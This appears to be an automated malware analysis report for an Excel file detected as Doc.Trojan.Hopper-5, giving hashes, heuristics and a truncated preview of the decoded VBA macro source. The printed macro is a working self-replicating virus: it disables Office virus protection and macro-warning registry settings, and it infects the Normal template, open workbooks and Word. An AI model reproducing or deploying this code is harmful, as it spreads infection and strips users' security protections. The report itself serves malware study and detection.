Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2fce7401676b3ab2…

MALICIOUS

Office (OLE)

23.5 KB Created: 1998-12-07 03:51:50 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 6ba367c639188b8a807d6064224da0b0 SHA-1: 481b4bca19babe5e8a239414211147726661d3e8 SHA-256: 2fce7401676b3ab27f18e6be7b6c68d081622dce338d3736e008b44cd75620e6
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1546.003 Event Triggered Execution: Windows Management Instrumentation

The sample is an Excel file containing VBA macros, identified by ClamAV as Doc.Trojan.Hopper-5. The macros appear to be designed to infect other workbooks and potentially establish persistence by modifying startup paths or registry keys, as indicated by the CreateObject heuristic and the presence of VBA code that manipulates VBProject components. The script attempts to infect other workbooks and displays a message box under certain conditions.

Heuristics 3

  • ClamAV: Doc.Trojan.Hopper-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hopper-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5096 bytes
SHA-256: 329e88ebe17ddf18384e22438acfd0c9a774792dba76993615e07d8e8942a480
Detection
ClamAV: Doc.Trojan.Hopper-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Cross.BadSeed v0.2 /1nternal
Private InRoutine As Boolean
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountOfLines
        For i = 1 To 85
            NT.InsertLines i, AD.Lines(i, 1)
        Next
    Else
        Call WackExcel
    End If
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountOfLines
        For i = 1 To 85
            AD.InsertLines i, NT.Lines(i, 1)
        Next
    End If
    If Day(Now) = 15 And (Int((10 * Rnd) + 1) = 1) Then
        MsgBox ("Cross.BadSeed v0.2 /1nternal")
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" And InRoutine <> True Then
        InRoutine = True
        Call WackWord
        Workbooks.Add.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
        InfectBook ("Book1.")
        Workbooks("Book1.").Close SaveChanges:=True
    End If
    For i = 1 To Workbooks.Count
        InfectBook (i)
    Next
    If Day(Now) = 1 And (Int((15 * Rnd) + 1) = 1) Then
        MsgBox ("Cross.BadSeed v0.2 /1nternal")
    End If
End Sub
Private Sub InfectBook(Booknum)
        If Workbooks(Booknum).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(1, 1) <> "'<!--1nternal-->" Then
            For y = 1 To 85
                Workbooks(Booknum).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines y, ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(y, 1)
            Next
        End If
End Sub
Private Sub WackWord()
    Set WordObj = CreateObject("Word.Application")
    Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        WordObj.Options.SaveNormalPrompt = False
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, "Public Sub DisableAV()"
        NT.InsertLines 2, " System.PrivateProfileString(" + Chr(34) + Chr(34) + ", " + Chr(34) + "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel" + Chr(34) + ", " + Chr(34) + "Options6" + Chr(34) + ") = " + Chr(34) + Chr(34)
        NT.InsertLines 3, " System.PrivateProfileString(" + Chr(34) + Chr(34) + ", " + Chr(34) + "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel" + Chr(34) + ", " + Chr(34) + "Options6" + Chr(34) + ") = " + Chr(34) + Chr(34)
        NT.InsertLines 4, "End Sub"
        WordObj.Run "'Normal.dot'!DisableAV"
        NT.DeleteLines 1, NT.CountOfLines
        For i = 1 To 85
            NT.InsertLines i, ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(i, 1)
        Next
    End If
    Set NT = Nothing
    WordObj.Quit
End Sub
Private Sub WackExcel()
    Dim xlApp As Object
    Set xlApp = CreateObject("Excel.Application")
    If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
        On Error Resume Next
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
        System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
        xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\Book1."
        For y = 1 To 85
            xlApp.Workbooks("Book1.").VBProject.VBComponents.Item("ThisWorkbook").Co
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.